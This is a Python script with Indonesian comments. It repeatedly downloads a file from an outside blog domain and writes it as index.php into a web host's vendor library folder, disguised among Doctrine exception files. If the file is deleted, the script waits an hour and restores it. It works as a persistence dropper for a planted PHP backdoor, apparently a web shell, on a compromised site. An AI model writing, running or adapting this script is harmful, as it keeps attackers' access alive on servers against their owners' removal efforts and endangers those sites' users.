#!/usr/bin/env python3 import os import time import subprocess from datetime import datetime FILE_URL = "https://sportsfreund-blog.de/om.txt" SAVE_PATH = "/home/businessschool/public_html/vendor/doctrine/instantiator/src/Doctrine/Instantiator/Exception/index.php" CHECK_INTERVAL = 10 # detik RETRY_DELAY = 3600 # detik (1 jam) def log(msg): print(f"[{datetime.now().strftime('%Y-%m-%d %H:%M:%S')}] {msg}", flush=True) def ensure_parent_dir(path): parent = os.path.dirname(path) if parent and not os.path.exists(parent): log(f"Folder {parent} belum ada. Membuat...") os.makedirs(parent, exist_ok=True) def run_cmd(cmd_list): """Kompatibel untuk Python <3.7: kembalikan (exitcode, stdout, stderr) sebagai string.""" try: p = subprocess.Popen(cmd_list, stdout=subprocess.PIPE, stderr=subprocess.PIPE) out, err = p.communicate() out = out.decode(errors="ignore") if out else "" err = err.decode(errors="ignore") if err else "" return p.returncode, out, err except FileNotFoundError: return 127, "", "command not found" except Exception as e: return 1, "", str(e) def download_with_wget(url, save_path): code, out, err = run_cmd(["wget", "-q", "-O", save_path, url]) if code == 0: return True, "" return False, err or out def download_with_curl(url, save_path): code, out, err = run_cmd(["curl", "-fsSL", "-o", save_path, url]) if code == 0: return True, "" return False, err or out def download_with_urllib(url, save_path): try: # Kompatibel dengan Python lama import urllib.request as ur except ImportError: import urllib as ur # sangat lama try: with ur.urlopen(url) as resp, open(save_path, "wb") as f: f.write(resp.read()) return True, "" except Exception as e: return False, str(e) def download_file(url, save_path): """Coba wget -> curl -> urllib. Return True jika sukses.""" for method_name, method in ( ("wget", download_with_wget), ("curl", download_with_curl), ("urllib", download_with_urllib), ): ok, err = method(url, save_path) if ok: log(f"File berhasil diunduh ({method_name}) -> {save_path}") return True else: log(f"Gagal dengan {method_name}: {err.strip()}") return False def main(): ensure_parent_dir(SAVE_PATH) # Jika file belum ada saat start → langsung unduh if not os.path.exists(SAVE_PATH): log("File tidak ditemukan saat start. Mengunduh file...") download_file(FILE_URL, SAVE_PATH) # Loop utama while True: if os.path.exists(SAVE_PATH): log("File sudah ada. Menunggu file hilang...") time.sleep(CHECK_INTERVAL) continue # File hilang → tunggu 1 jam sebelum unduh log("File hilang. Menunggu 1 jam sebelum mengunduh ulang...") time.sleep(RETRY_DELAY) ensure_parent_dir(SAVE_PATH) download_file(FILE_URL, SAVE_PATH) if __name__ == "__main__": main()